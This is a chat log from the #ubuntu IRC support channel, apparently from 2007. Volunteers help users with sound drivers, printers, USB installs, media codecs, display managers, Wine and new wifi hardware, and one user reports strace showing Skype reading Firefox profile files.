[02:55] <linux_user400354> apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1 for ServerName
[02:55] <Xaelgrim> no not that thing again
[02:55] <fermatstheorem> speps: sorry dude/dudette . duno what can be the problem
[02:55] <newdude> ahh cool, ill try that
[02:55] <linux_user400354> why am i getting that error from starting apache?
[02:55] <Xaelgrim> thats a nightmare to navigate
[02:55] <kringel_> e.g. "Accel" "True" is qAccelq qTrueq
[02:56] <Xaelgrim> this is my first day with ubuntu
[02:56] <jrib> pwnd_`: you are using feisty?
[02:56] <matthew_> xaelgrim: ... first day? maybe you should rest with broken sound for a few days while you get familiar with the terminal commands then =)
[02:56] <dug_> technomom: sorry, i'm not sure of one, but you can get printers with ethernet/wireless built-in for very cheap nowadays
[02:56] <pwnd_`> jrib, it's 6.06 :/ I can't update until I get nets on it
[02:56] <Xaelgrim> i was reading the faq that sent me to that site and it was nothing like what was described
[02:56] <technomom> Yeah, trying to justify another printer with my husband. :-)
[02:56] <technomom> But we already have 2.
[02:56] <thedash> I'm having a bit of trouble separating a dvd's source files to individual chapters/titles, any suggestions ?
[02:56] <matthew_> xaelgrim: installing drivers from source is quite difficult btw, you need to compile and configure them
[02:57] <Asuka> is ubuntu lsb-3.2-complaint?
[02:57] <matthew_> xaelgrim: that's what the ALSA site was for
[02:57] <fermatstheorem> Xaelgrim: did you check if hte chipset is supported?
[02:57] <Xaelgrim> i dont know how
[02:57] <jrib> pwnd_`: I think it may just work if you get feisty, I see your card in the changelog which may be related to your issue http://changelogs.ubuntu.com/changelogs/pool/main/libp/libpci2/libpci2_2.1.11-2/changelog .  You can't download a feisty iso and install that?
[02:57] <Xaelgrim> it doesnt seem very user friendly
[02:57] <dug_> technomom: you probably already know, but hp printers seem to work well with ubuntu.  I first got a kodak one and had to return it
[02:57] <Asuka> could someone walk me through this in a private chat window?
[02:57] <technomom> I have an HP 990 running with the Netgear PS111W attached to the HP right now but the PS111W doesn't seem to like Ubuntu
[02:57] <fermatstheorem> Xaelgrim: please do it. i recently bought an intel board, some ostuff wasnt supported.
[02:57] <pwnd_`> jrib, idk how I'm getting feisty then :P Are they available by mail yet?
[02:57] <pike__> technomom: as a rule though on principal you should still hate hp printers
[02:58] <matthew_> Xaelgrim: it's not supposed to be user friendly. It's a driver lol. This isn't something people usually deal with on a day to day basis
[02:58] <jrib> pwnd_`: yes, but that would take about a month.  Can't you download it on your current connection?
[02:58] <Xaelgrim> I would if i could but as I was saying b4 I cant find where to d/l drivers from
[02:58] <technomom> Can't say that, my HP has been very reliable.    Hate to get rid of it.
[02:58] <pwnd_`> jrib, I'm on windows on this machine.
[02:58] <pwnd_`> I have a second machine up
[02:58] <matthew_> Xaelgrim: I'll get you the URL, but as for compiling and configuring the drivers, well the FAQ is for that
[02:58] <Xaelgrim> the help faq said there was a drop-down box on the main page with them
[02:58] <jrib> pwnd_`: right, but you download the .iso, burn it, and install feisty.  Am I missing something?
[02:58] <Xaelgrim> that wasnt true
[02:58] <youknowme> How do I write an .img to a floppy so it can be bootable?
[02:59] <technomom> If I move the HP closer though, can I serve it wirelessly through Ubuntu itself?
[02:59] <pwnd_`> jrib, that I don't have clean cds. I'll go buy some tomorrow, I suppose.
[02:59] <technomom> securely?
[02:59] <lambylamb> hey does anyone know off a good music thing.
[02:59] <matthew_> Xaelgrim: the faqs aren't always updated the moment something changes, you've got to be open to new things every now and then =P
[02:59] <jrib> pwnd_`: that's what I would do
[02:59] <technomom> That is, attach the HP to the Ubuntu with USB and serve it from there.
[02:59] <pwnd_`> jrib, alright. Thanks.
[02:59] <riotkittie> define "music thing"
[02:59] <pike__> youknowme: dd if=file.img of=/dev/fd0 bs=1440k
[02:59] <dug_> technomom: are both your computers using ubuntu?  i'm not sure if ubuntu supports printer sharing
[02:59] <Asuka> pike__ check your query please
[02:59] <lambylamb> hey does anyone know off a good music program
[02:59] <xaut> nickserv set unfiltered on
[02:59] <lambylamb> like for gnome
[02:59] <technomom> no, one on Windows, other on Ubuntu
[02:59] <alecwh> Hello, I'm having a problem with using Virtual Box and VMWare with Windows XP. Can someone help?
[02:59] <Xaelgrim> if there was a step-by-step faq id be fine with that
[03:00] <Xaelgrim> but i havent seen one
[03:00] <lambylamb> or how do i get rythem box to play my m4p
[03:00] <lambylamb> files
[03:00] <Asuka> pike_ check your query please
[03:00] <riotkittie> !mp4 > lambylamb
[03:00] <alecwh> sorry, I'm asking if anyone here as successfully installed windows XP via VMWare or VirtualBox
[03:00] <matthew_> Xaelgrim: http://www.alsa-project.org/main/index.php/Matrix:Module-hda-intel
[03:00] <lambylamb> no. maybe hold on leme check
[03:00] <dug_> technomom: i don't know how to share a printer in ubuntu, but it seems like there are some tutorials online: http://www.google.com/search?source=ig&hl=en&q=ubuntu+hp+printer+sharing&btnG=Google+Search
[03:00] <fermatstheorem> lambylamb: include restricted repos and install gstreamer plugins
[03:00] <pike__> Asuka: ?
[03:00] <matthew_> Xaelgrim: note that it has to do with the kernel, i.e. anti-user friendly
[03:01] <Asuka> your channels to the left
[03:01] <technomom> I'll have a look.  Thanks dug_
[03:01] <matthew_> Xaelgrim: it's step by step though
[03:01] <Xaelgrim> thank you so much
[03:01] <kirby145> hello i have a computer with no cd or floppy so i want to install linux on a partition from usb can i do it
[03:01] <Asuka> i opened a private window with you pike__
[03:01] <Xaelgrim> ill do my best to follow it
[03:01] <pike__> Asuka: are you registered?
[03:01] <fermatstheorem> matthew_: epitome of patience
[03:01] <Xaelgrim> you've been very helpful
[03:01] <jrib> alecwh: assume yes and ask your next question
[03:01] <Asuka> what do you mean?
[03:01] <lambylamb> my bad m4a files
[03:01] <lambylamb> it wont read them
[03:01] <chuy_max> !upgrade
[03:01] <Ubotu> For upgrading, see the instructions at https://help.ubuntu.com/community/UpgradeNotes
[03:01] <chuy_max> !dist-upgrade
[03:02] <matthew_> fermatstheorem: yeah, I know =P
[03:02] <fermatstheorem> lambylamb: you need to install gstreamer plugins
[03:02] <fermatstheorem> lambylamb: from the restricted repos
[03:02] <kirby145> hi, can i install ubuntu on a computer from usb
[03:02] <matthew_> Xaelgrim: this is the URL to download the source code for the driver
[03:02] <pike__> Asuka: you need to register with nickserv most people dont accept non registered /msg to avoid spam.  /msg nickserv register mynewpassword   then in futer just /msg nickserv identify mypassword
[03:02] <matthew_> Xaelgrim: ftp://ftp.alsa-project.org/pub/driver/alsa-driver-1.0.14.tar.bz2
[03:02] <kringel_> can someone reproduce that when viewing xorg.conf manpage in yelp all the quotation marks/apostrophes are rendered wrong as the letter q? (e.g. "Accel" "boolean" gets qAccelq qbooleanq
[03:02] <Asuka> oh...
[03:02] <pike__> Asuka: but im very lazy i may not answer :)
[03:02] <fermatstheorem> kirby145: you need to "burn" the ubuntu iso on the USB and change bios settings to boot from htere
[03:02] <W_McL> kirby145, depends if your computer's BIOS supports bootable USB media
[03:02] <lambylamb> ohh wow that may fix my problem leme see
[03:03] <Asuka> meh, im not gonna bother registering
[03:03] <kirby145> i got a install disk for ubuntu
[03:03] <matthew_> Xaelgrim: unarchive it and compile it. There's plenty of wiki pages and howTOs on doing that
[03:03] <lambylamb> no it said it was uptodate
[03:03] <gordboy> i'd be interested to hear people's opinions on Skype for Linux accessing people's private firefox directories. strace -e open -f skype 2> SKYPE, for me shows 179 references to my private mozilla files being read, including passwords, usernames, bank acount details etc
[03:03] <kirby145> so do i take the files off the install disk or the iso
[03:03] <Asuka> I went to http://openprinting.org/show_printer.cgi?recnum=Epson-Stylus_CX3810 and at the bottom of the page i clicked how to install (the driver)
[03:03] <kirby145> as in make an isp?
[03:03] <fermatstheorem> lambylamb: have you include dthe restircted repos?
[03:03] <Asuka> I'm still confused on what I need to do
[03:03] <riotkittie> kringel_: yes.
[03:03] <lambylamb> what?
[03:03] <matthew_> gordboy: why are you saving passwords in firefox? they're inherently insecure
[03:03] <chuy_max> how do I upgrade from dapper to feisty?
[03:03] <lambylamb> what does that mean?
[03:03] <jrib> kringel_: yes
[03:04] <fermatstheorem> kirby145: you the iso and use a burning progrm to create a bootable disk out of it
[03:04] <riotkittie> qthat's annoyingq
[03:04] <kirby145> i have a usb not a disk
[03:04] <jrib> !upgrade > chuy_max (see the private message from ubotu)
[03:04] <matthew_> gordboy: oh and are you sure you have the proper version? =P
[03:04] <chuy_max> thx
[03:04] <fermatstheorem> lambylamb: in synaptics, go and check the restricted repos option
[03:04] <kringel_> riotkittie, jrib: any idea why? :-)
[03:04] <Asuka> Somebody? I'm trying to install my printer driver, but I'm not sure how
[03:04] <kirby145> brb then
[03:04] <Asuka> I went to http://openprinting.org/show_printer.cgi?recnum=Epson-Stylus_CX3810 and click how to install (at the bottom of the page)
[03:04] <fermatstheorem> kirby145: doesn't matter, just use a create a bootable dieskoutof it
[03:05] <Asuka> but what I don't know is where to save the driver file that I need to download
[03:05] <pike__> Asuka: ah gutenprint. to be honest ive only ever use the cups interface im not familiar with the gnome one and ubuntu for some reason doesnt setup cups properly for access at http://localhost:631
[03:05] <lambylamb> where is that?
[03:05] <riotkittie> kringel_: perhaps someone is waging a war on proper punctuation. thank you, thank you - i'll be here all night.  errr. i meant, i have no idea
[03:05] <W_McL> kirby145, here is an instruction how to put the live cd on an usb stick. your plan will work similar to that, but you won't need the second partition
[03:05] <W_McL> https://wiki.ubuntu.com/LiveUsbPendrivePersistent
[03:05] <fermatstheorem> lambylamb: system ->admin->synapitcs
[03:05] <gordboy> matthew_: you're not up to speed on this i can tell. the point is surely that skype shouldn't be accessing that data at all. in fact, in my country, it is illegal under sections 1 & 2 of Computer Misuse Act 1990 - http://www.opsi.gov.uk/acts/acts1990/Ukpga_19900018_en_1.htm
[03:05] <chuy_max> hey jrib, if I want to update to feisty from dapper, do I have to update first to edgy eft?
[03:06] <Asuka> pike__: so what would you recomend me do?
[03:06] <jrib> chuy_max: yes
[03:06] <lambylamb> where do i check it though
[03:06] <lambylamb> in preferences?
[03:06] <matthew_> gordboy: yes, I realize that it shouldn't be accessing it at all, but I'm saying that you shouldn't put it out there for it to access either.
[03:06] <pike__> Asuka: id try system --> administration -->printing   often all ya need to do is select a compatable option there to install
[03:07] <matthew_> gordboy: it's clearly illegal but we don't have the source for skype so there's not much we can do about it
[03:07] <Asuka> alright
[03:07] <Asuka> thanks
[03:07] <jrib> kringel_: notice any other pages doing this?
[03:07] <kringel_> riotkitte: ok ;-) perhaps you can bump this bug here: https://bugs.launchpad.net/ubuntu/+source/yelp/+bug/50318  (the last postings there) One question, is your locale en-US/GB or else?
[03:07] <fermatstheorem> lambylamb: yes
[03:07] <fermatstheorem> lambylamb: settings menu
[03:07] <riotkittie> kringel_: en-US
[03:07] <matthew_> gordboy: and unless someone in here happens to be a criminal lawyer specializing in internet/privacy law, I doubt there's anything we can do from a legal point of view as well
[03:08] <Asuka> it didn't detect my printer unforutnately
[03:08] <kringel_> riotkittie: ah ok, then it's not a locale bug. i first thought its de-DE related.
[03:08] <lambylamb> grrr where in the settings thing i dont see it!! sorry
[03:08] <kringel_> jrib: i guess it's all about the quotation marks
[03:08] <fermatstheorem> lambylamb: have you opened the synaptics package manger?
[03:08] <gordboy> matthew_: it's for a test case. i used fake data, naturally. and i don't think we need to see the source, to know they are acting unlawfully. computer programs don't "accidently" access data they have no right to. anyways thanks for your feedback :)
[03:08] <lambylamb> yes and i am in preferences
[03:09] <jrib> kringel_: yeah, opening the man page in vi, shows them as \*q
[03:09] <lambylamb> looking through there is general, columns and fonts, colors, files, network, distribution
[03:09] <kringel_> jrib: in xorg.conf there are many. will search for other man pages. i found out that it's not an issue of locale settings, appears on en-US as well as on de-DE for example.
[03:10] <kringel_> jrib: here's a bug report already. but the topic is not that specific. maybe we shoul open a new bug report?
[03:10] <gordboy> matthew_: http://forum.skype.com/index.php?showtopic=95261 shows the attitude of skype and their minions perfectly
[03:10] <kringel_> jrib: sorry, forgot the link: https://bugs.launchpad.net/ubuntu/+source/yelp/+bug/50318
[03:10] <Asuka> nevermind, I have gotton it to work. Thanks for the help Pike__
[03:11] <zach0091> !plip
[03:11] <Ubotu> Sorry, I don't know anything about plip - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi
[03:11] <fermatstheorem> lambylamb: i am lost in your desktop. try this system->admin->software soruces
[03:11] <fermatstheorem> sources
[03:11] <Crell> Hi all.  On a fresh Kubuntu Feisty, I was able to use the SD card reader built into my Thinkpad T61 to work out of the box.  I upgraded the kernel to 2.6.22-10 out of Gutsy, however, in order to get audio and WiFi working.  Since then, the SD card slot is ignored.  Any idea why or what to do about it?
[03:12] <booster_> hello all....i have a question about a gamepad ......is there a package for maping the buttons  so you can use it on any game ??
[03:12] <zach0091> How do I setup a plip server
[03:12] <Crell> "ignored" in this case means it doesn't get mounted to an sdX device, according to dmesg.
[03:12] <lushys> I need some help if someone doesnt mind
[03:12] <hochimoo> has anyone set up DBMAIL? Im trying to install and configure dbmail on ubuntu feisty. with mysql. I cant find the innodb sql as described in here http://www.dbmail.org/dokuwiki/doku.php?id=setup_database. any ideas?
[03:12] <jrib> kringel_: it gets mentioned in the comments, I think that's good enough
[03:12] <dug_> Asuka: is the printer plugged in and turned on and connected to the usb port when you try to add the printer? You can find other tips by searching for "ubuntu" + your printer model: http://www.google.com/search?source=ig&hl=en&q=ubuntu+CX3810&btnG=Google+Search
[03:12] <hochimoo> lushys: just ask the question ude
[03:13] <zach0091> lushys: oK
[03:13] <kringel_> jrib: ok, thanks
[03:13] <ja3000> I've just installed ubuntu and everything seems to work fine except i am getting a shadow behind everything(text, windows, you name it)
[03:13] <lushys> the problem is: I installed compiz, it wont actually start when I log in unless I open the terminal and type in: compiz --replace   , also, when I do this I cant write anything in the text application and when I go to save something in open office or send an email I cant write in the text box/send to field. anyone know why this is happening?
[03:13] <lushys> sorry, took a bit to write up
[03:14] <lushys> note: if I dont start compiz I dont have these problems
[03:14] <zach0091> lushys: I don't know what compiz is
[03:14] <MasterShrek> lushys, #ubuntu-effects
[03:14] <lushys> im using fiesty
[03:14] <lambylamb> Wait i think i got it! check unsuported updates?
[03:14] <lambylamb> sorry it took so long
[03:14] <jrib> kringel_: strange that I can only find xorg.conf doing that
[03:14] <illriginal> Does anyone know how to tweak the cable modem by editing files on Ubuntu?
[03:14] <lushys> MasterShrek: I should ask in that channel
[03:15] <MasterShrek> yea
[03:15] <zach0091> !modem
[03:15] <Ubotu> You want to connect via dial-up? Read https://help.ubuntu.com/community/DialupModemHowto
[03:15] <fermatstheorem> lambylamb: proprietry and multiverse
[03:15] <xaut> xaut <123456>
[03:15] <kringel_> jrib: interesting, can you give me an example for a page on which quotation marks are working?
[03:15] <zach0091> How do I set up a plip interface for feisty?
[03:16] <lambylamb> wait now you lost me again is this under Software sources updats?
[03:16] <lambylamb> ohh no okay yah they are both checked already
[03:16] <fermatstheorem> lambylamb: go to synaptic and search for gstreamer plugins
[03:17] <Shadow_mil> Which group does a user need to be in to access the network?
[03:17] <dug_> ja3000: I can't find an example online of someone else reporting the same problem.  You might ask about it on the ubuntu forum or report it as a bug
[03:17] <zach0091> How do I setup a PLIP interface?
[03:17] <lambylamb> looking
[03:17] <abadtooth> I have a error :(
[03:17] <fujin> What's a plip interface?
[03:17] <abadtooth> Can someone help me out with it?
[03:17] <lambylamb> i have gstreamer0.10-alsa installed
[03:17] <avt3kk> guys what do I type in to install windows firefox because im using wine?
[03:18] <avt3kk> I saved an image with java and flash dont worry lol
[03:18] <fujin> you do realise firefox runs natively on Linux, right?
[03:18] <fermatstheorem> lambylamb: you need the other gstreamer plugins which have m4a
[03:18] <abadtooth> I have this error You might in fact be using a different display manager, such as KDM (KDE Display Manager) or xdm. If you still wish to use this feature, either start GDM yourself or ask your system administrator to start GDM.
[03:18] <ja3000> dug_:Thanks
[03:18] <zach0091> fujin: parallel line internet protocol
[03:18] <dug_> !ask | abadtooth
[03:18] <Ubotu> abadtooth: Don't ask to ask a question. Just ask your question :)
[03:18] <illriginal> Does anyone know how to tweak  cable modem by changing settings in Ubuntu????
[03:18] <avt3kk> I want to run shockwave
[03:18] <avt3kk> shockwave only runs on windows..
[03:18] <lambylamb> how do i know which have it...
[03:18] <jrib> kringel_: mpd.conf
[03:19] <avt3kk> I have an image backup so all the work we did to install java and flash has been saved
[03:19] <illriginal> Does anyone know how to tweak  cable modem by changing settings in Ubuntu????
[03:19] <dug_> abadtooth: are you using kubuntu or regular ubuntu?
[03:19] <ConstyXI1> anyone know where to get the new ati driver?
[03:19] <zach0091> !cable
[03:19] <Ubotu> Sorry, I don't know anything about cable - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi
[03:19] <spenser> ati driver isn't released yet
[03:19] <fermatstheorem> lambylamb: unfortunately,right now i am updating my sys with synaptic i wish i could give you the exact name. do you have automatix?
[03:19] <abadtooth> does anyone know how to fix that? I go to system/ admin/ login window and it gives that error
[03:19] <avt3kk> ill I can probly find it
[03:19] <abadtooth> Ubuntu
[03:19] <avt3kk> but I have a crysis lol
[03:19] <Shadow_mil> ?
[03:19] <dug_> illriginal: i think you can connect to your cable modem via your web browser.  I forget the ip address i used to connect to mine
[03:20] <abadtooth> dug_:  ubuntu
[03:20] <riotkittie> !automatix
[03:20] <Ubotu> Automatix2 is a block of code which attempts to install some software.  When it fails and breaks systems, we don't provide support for it.  A creditable analysis from a debian/ubuntu developer is here - http://mjg59.livejournal.com/77440.html (Additional information: /msg ubotu worksforme)
[03:20] <lambylamb> i dont see anything like that
[03:20] <illriginal> dug_ right... through IP address, what will this do dug_?
[03:20] <fermatstheorem> lambylamb: search for gstreamer and install gstreamer extra, ffmpeg
[03:20] <abadtooth> dug_:  I also have beryl, but I've tried to disable it and so on...
[03:20] <elkbuntu> fermatstheorem, automatix is a bad idea because it can do really nasty things, which is why we cannot support it
[03:20] <zach0091> help me with the plip!
[03:21] <dug_> illriginal: you connect to this ip address, and you can change a few settings in your cable modem, or check the signal levels, etc.
[03:21] <booster_> can anyone in here help me out with how to set up a game pd ??? is there a package that i can look for ?
[03:21] <riotkittie> automatix killed my dog. :|
[03:21] <illriginal> ok ill check
[03:21] <urthmover> Why do all the fonts except "mono" ones bunch the letters up in the terminal?
[03:21] <dug_> abadtooth: i don't know the answer myself, but i'll search google for that error message and see what i can find
[03:21] <booster_> automatix blows
[03:21] <avt3kk> so what do I type to install windows firefox with wine?
[03:22] <urthmover> windows firefox?
[03:22] <urthmover> whats the difference?
[03:22] <riotkittie> why are you installing win's firefox?
[03:22] <avt3kk> im using wine
[03:22] <zach0091> !win
[03:22] <Ubotu> Sorry, I don't know anything about win - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi
[03:22] <sybariten> any scandinavians here? i cant get the swedish charset to work on my ubuntu server and i dont know where to start
[03:22] <lambylamb> okay i am just kinda installing all the ubuntu recommended gstreamers and the tools one
[03:22] <lambylamb> ..
[03:22] <sybariten> i'm running a headless box via putty
[03:22] <abadtooth> dug_:  okay.. I have been googling for over an hour with no avail :(
[03:22] <lambylamb> is that right? maybe?
[03:22] <avt3kk> riot its to install shockwave lolol
[03:22] <bbraun> any of the ubuntu vmworld booth babes around?
[03:22] <fermatstheorem> lambylamb: keep your fingers crossed, :p it shoudl work if you've got the extras and ffmpeg
[03:23] <avt3kk> Riot= https://help.ubuntu.com/community/Shockwave
[03:23] <avt3kk> im trying to install that
[03:23] <riotkittie> booth babes? <puke>
[03:23] <riotkittie> avt3kk: ahh.
[03:23] <zach0091> How do I set up a PLIP server for installing Freebsd on my laptop?
[03:23] <fermatstheorem> zach0091: bsd is dying! kidding :)
[03:23] <mneptok> bbraun: e have booth babes?
[03:23] <mneptok> *we
[03:24] <abadtooth> what is the difference between BSD and Linux?
[03:24] <h1st0> abadtooth: google
[03:24] <bbraun> mneptok: well, generic term as all the 'babe's were male, but there is an ubuntu booth @vmworld staffed by canonical folks
[03:24] <avt3kk> Riot its shockwave that only installs on windows man I dunno
[03:24] <dug_> abadtooth: this has some tips: http://www.google.com/search?hl=en&safe=off&q=ubuntu+You+might+in+fact+be+using+a+different+display+manager+kdm&btnG=Search  The first one suggests control-alt-F2 to get to a terminal prompt, and then type "sudo /etc/init.d/gdm restart"  control-alt-f7 to get back to X/Gnome
[03:24] <mneptok> bbraun: who's there?
[03:25] <riotkittie> oh. male. that's acceptable.
[03:25] <avt3kk> dont think it installs on linux lol
[03:25] <bbraun> I spoke with rick clark today, I didn't get cards of the others
[03:25] <abadtooth> h1st0:  lol okay :P I did look at some SS before and it looked the same :P
[03:25] <fermatstheorem> abadtooth: both are unix-like different pedigrees if i cn use the dog anology
[03:25] <avt3kk> theres a code to install windows firefox in ubuntu with wine
[03:25] <zach0091> !freebsd
[03:25] <Ubotu> Sorry, I don't know anything about freebsd - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi
[03:25] <abadtooth> dug_:  okay thanks I'll check it out :D
[03:26] <VousDeux> hello: still tying to get my wifi working...when I try to compile mac80211 I keep getting several errors about missing source files (core.c, inode.c, dev.c)
[03:26] <mneptok> bbraun: didn't know we had sent anyone. cool.
[03:26] <speps> hi guys.What about this: http://ubuntu.moshen.de feisty experimental ???Can somebody help me?
[03:26] <h1st0> avt3kk: why would you want to do that?
[03:27] <VousDeux> I have made sure that the linux-kernel files are installed, but these files were not included
[03:27] <bbraun> mneptok: yeah, I spent a while talking to him about xinetd, upstart, and other random topics.
[03:27] <VousDeux> does anyone know how I can make sure I have all of the files I would need to compile a driver?
[03:27] <mneptok> bbraun: dendrobates is good people
[03:27] <dug_> VousDeux: you installed build-essential also?
[03:27] <h1st0> speps: what ar eyou trying to do?
[03:28] <dug_> VousDeux: what wireless card do you have?
[03:28] <VousDeux> dug_: I'll check...thanks
[03:28] <h1st0> VousDeux: just need build-essentials package
[03:28] <speps> h1st0: they don't work anymore!
[03:28] <VousDeux> It's an Intel 4965AGN
[03:28] <mneptok> VousDeux: stop right there
[03:28] <mneptok> VousDeux: *right* there.
[03:28] <bbraun> mneptok: I'm the xinetd maintainer for the past 9 years or so, and we discussed the possibility of merging upstart and xinetd, ala launchd
[03:28] <speps> h1st0: i need fonts improvements for feisty 64.Help
[03:29] <mneptok> VousDeux: do not compile and/or install any driver. just get the latest Gutsy Tribe release.
[03:29] <VousDeux> stopped
[03:29] <h1st0> speps: then you need to contact the owner of that repo there is no way we can suport other peoples repos in here.
[03:29] <h1st0> mneptok: gusty is still unstable
[03:29] <avt3kk> im trying to use wine to install windows firefox so I can install shockwave guys <<<<<<<<<
[03:29] <mneptok> bbraun: after that, can we re-unite the Catholics and the Orthodoxy? ;)
[03:29] <VousDeux> Gutsy Tribe?
[03:29] <bbraun> mneptok: should be trivial!
[03:29] <avt3kk> shockwave wont install on linux
[03:29] <mneptok> h1st0: i have been using it for weeks in my lappy with a 4965. it works fine.
[03:30] <h1st0> VousDeux: its the next version of ubuntu its still unstable.
[03:30] <BorisYaltsin> Hi, how do I find out what ports are forwarded from the command line?
[03:30] <riotkittie> !worksforme
[03:30] <Ubotu> Common Sense: Just because you can, does not mean you should (and especially recommend to others). Think before you do. "Works for me" does not mean it is ok. The latest version of everything is not always useful if you aim for stability. Please see http://geekosophical.net/random/worksforme/
[03:30] <h1st0> mneptok: I get crashes all the time with it.
[03:30] <speps> h1st0: ok. but do you know about subpixel improvements?
[03:30] <mneptok> VousDeux: the Intel 4965 is too new to have a driver in Feisty. it's in Gutsy. grab a beta.
[03:30] <h1st0> speps: nope
[03:30] <fermatstheorem> bbraun: please please do it and if you, thou shalt be blessed with all the s3xy ubuntu dudes/duddettes to fondle with
[03:30] <VousDeux> h1st0, so the unstable version supports my wifi?
[03:30] <mneptok> VousDeux: yes.
[03:30] <bulmer> any oracle sql expert?  how do you convert a sting thats like  1997-08-12T00:00:00 into a date() ?
[03:30] <VousDeux> ahh....thanks
[03:30] <h1st0> VousDeux: yes or you could just build the driver yourself and run fiesty with it.
[03:31] <bbraun> actually, I was looking at the upstart code and it is eerily identical to xinetd's in many respects (particularly the event loop), and there is a possibility of building xinetd as a lib with upstart only making a few (potentially even 2?) calls to it.
[03:31] <fermatstheorem> bulmer: this is #ubuntu, aint #oracle
[03:31] <VousDeux> building the driver is what I was trying to do
[03:31] <bbraun> that would of course be minimal integration, but an decent first step
[03:31] <lambylamb> are there no codects for m4p?
[03:31] <mneptok> h1st0: "and recompile every time there's a kernel change and otherwise take stewardship of your driver"  ;)
[03:31] <abadtooth> dug_:  It says GDM is not the default display manager, I had KDE installed but I removed it and it left part there like the login screen... but everything else is ubuntu.. :\
[03:31] <lambylamb> its another encrypted one
[03:31] <h1st0> mneptok: yeah there aren't any kernel changes in fiesty
[03:31] <dug_> !gdm
[03:31] <Ubotu> Sorry, I don't know anything about gdm - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi
[03:32] <fermatstheorem> lambylamb: mp4 and m4a work just fine as long as they arenot laden with DRM
[03:32] <riotkittie> network-manager-gnome is independent of /etc/network/interfaces, right? or no?
[03:32] <dug_> Can anyone tell abadtooth how to change from kdm to gdm (where that pref is stored in ubuntu)?
[03:32] <h1st0> abadtooth: kdm is kubuntu manager
[03:32] <lambylamb> no its m4p i swear
[03:32] <h1st0> abadtooth: remove kdm and install gdm
[03:32] <Crell> Has anyone worked with the SD slot in a ThinkPad T61 laptop?
[03:32] <avt3kk> Riotkitty
[03:32] <VousDeux> so, can I upgrade to Gutsy, or would that mean a complet reinstall from scratch?
[03:32] <fermatstheorem> lambylamb: cross you heart! kidding, is it the stuff you bought from itunes store?
[03:32] <chuy_max> do you people know of a web console (where I can execute bash commands)?
[03:32] <mneptok> abadtooth: do you get the login screen? if so, you can choose a session type there.
[03:32] <avt3kk> how should I install shockwave
[03:32] <lambylamb> possibly
[03:33] <dug_> VousDeux: you can upgrade.  just a sec
[03:33] <lambylamb> idk it was off my ipod so some of it might be
[03:33] <mneptok> VousDeux: you can dist-upgrade
[03:33] <abadtooth> mneptok:  yes and I chose ubuntu~ gnome
[03:33] <h1st0> VousDeux: gusty talk is in #ubuntu+1 but I don't recomend updating or reinstalling just for that.
[03:33] <gordboy> h1st0: i'm on my third (stock) feisty kernel. so i'm not sure what you mean
[03:33] <fermatstheorem> lambylamb: DRM stuff cannot be played . non DRM can be played
[03:33] <mneptok> abadtooth: so then set that as the default. you'll be asked.
[03:33] <riotkittie> avt3kk: i'm not sure. i've never had want nor need to attempt to install it under wine.
[03:33] <lambylamb> got it thanks
[03:33] <abadtooth> mneptok:  how do I do that?
[03:33] <dug_> !gutsy | abadtooth
[03:33] <Ubotu> abadtooth: Gutsy Gibbon is the code name for the next release of Ubuntu (7.10) | (due October 2007) | It is development software, as such unstable, support _only_ in #ubuntu+1
[03:33] <dug_> !upgrade
[03:33] <Ubotu> For upgrading, see the instructions at https://help.ubuntu.com/community/UpgradeNotes
[03:34] <fermatstheorem> bbraun: i aint an expert, but how doyou resolve the dependency tree? on the lines of launchd or something more nifty
[03:34] <mneptok> abadtooth: when you choose a diffirent session type you'll be asked to make it the default
[03:34] <mneptok> *different
[03:34] <VousDeux> this is a brand new computer, I'm just trying to get everything working on it
[03:34] <abadtooth> mneptok:  hmm never has asked me :|
[03:34] <bbraun> fermatstheorem: no dependencies really.  xinetd doesn't depend on anything other than libc and syscalls, same as upstart.
[03:34] <avt3kk> anyone ever installed windows firefox with wine?
[03:34] <abadtooth> I have fiesty why would I want a beta?
[03:35] <dug_> VousDeux: see this post and the comments about upgrading to gutsy: http://ubuntu-tutorials.com/2007/07/26/the-move-to-gutsy-day-1/
[03:35] <abadtooth> avt3kk:  why?
[03:35] <VousDeux> thanks!
[03:35] <nicio> what can i do to get back my display?i have 680x480 insted of 1024x780.i went in display to change it but the limit was 680x480.how could i put it back?
[03:35] <avt3kk> because im trying to install windows firefox to install shockwave lololol :/
[03:35] <fermatstheorem> bbraun: how do we then inc., starting services in parallel like launchd unless we have the dep tree?
[03:35] <riotkittie> because by using a beta, you are bettering the distro.
[03:35] <avt3kk> thats why
[03:35] <dug_> abadtooth: sorry, i got you and VousDeux mixed up :)
[03:35] <abadtooth> BRB guys.. going to try a couple things..
[03:36] <epiclulz> check out what i accomplished today (my first time on ubuntu): http://img371.imageshack.us/img371/562/wc3dotaan8.png
[03:36] <fermatstheorem> bbraun: as mentioned, i may/will sound stupid in such stratospheric stuff
[03:36] <bbraun> fermatstheorem: I'd just need to get an initialization call, be able to hand up from xinetd to upstart file descriptors and timer information for its main event loop, and get the signal handler invoked (which isn't actually run from a signal handler, but from the main event loop through a pipe that indicates the signal has been recieved.  both upstart and xinetd do this in an identical fashion
[03:36] <lubos1> hi
[03:37] <lubos1> hi do i execute .bat scripts with wine?
[03:37] <MasterShrek> wine file.bat ?
[03:37] <narothepharoh> does anyone know of a good audio converter?
[03:37] <bbraun> fermatstheorem: ah, I wasn't meaning totally like launchd, just the concept of merging init and *inetd in to a single address space.  This doesn't address the parallel startup feature of launchd
[03:37] <fermatstheorem> bbraun:ok
[03:37] <MasterShrek> sound converter narothepharoh
[03:38] <narothepharoh> masterschrek thank you
[03:38] <fermatstheorem> bbraun: theorically, what does it tke to port the lauchd goodness in linux
[03:38] <MasterShrek> shrek*
[03:38] <MasterShrek> =P
[03:38] <lubos1> MasterShrek: wine: could not load L"Setup.bat": Bad EXE format for
[03:38] <narothepharoh> sorry man
[03:38] <MasterShrek> lubos1, what on earth would you need to launch a batch file for?
[03:38] <lubos1> an install script which copies a bunch of files
[03:39] <bbraun> fermatstheorem: launchd, I believe, is already ported to linux.  features are missing as it makes use of kqueue(), which is a BSDism, not a linuxism, but fundamentally, I believe it builds and runs on linux now.
[03:39] <MasterShrek> use a bash script
[03:39] <lubos1> i'd have to rewrite it :/
[03:39] <MasterShrek> search / replace
[03:39] <MasterShrek> replace all
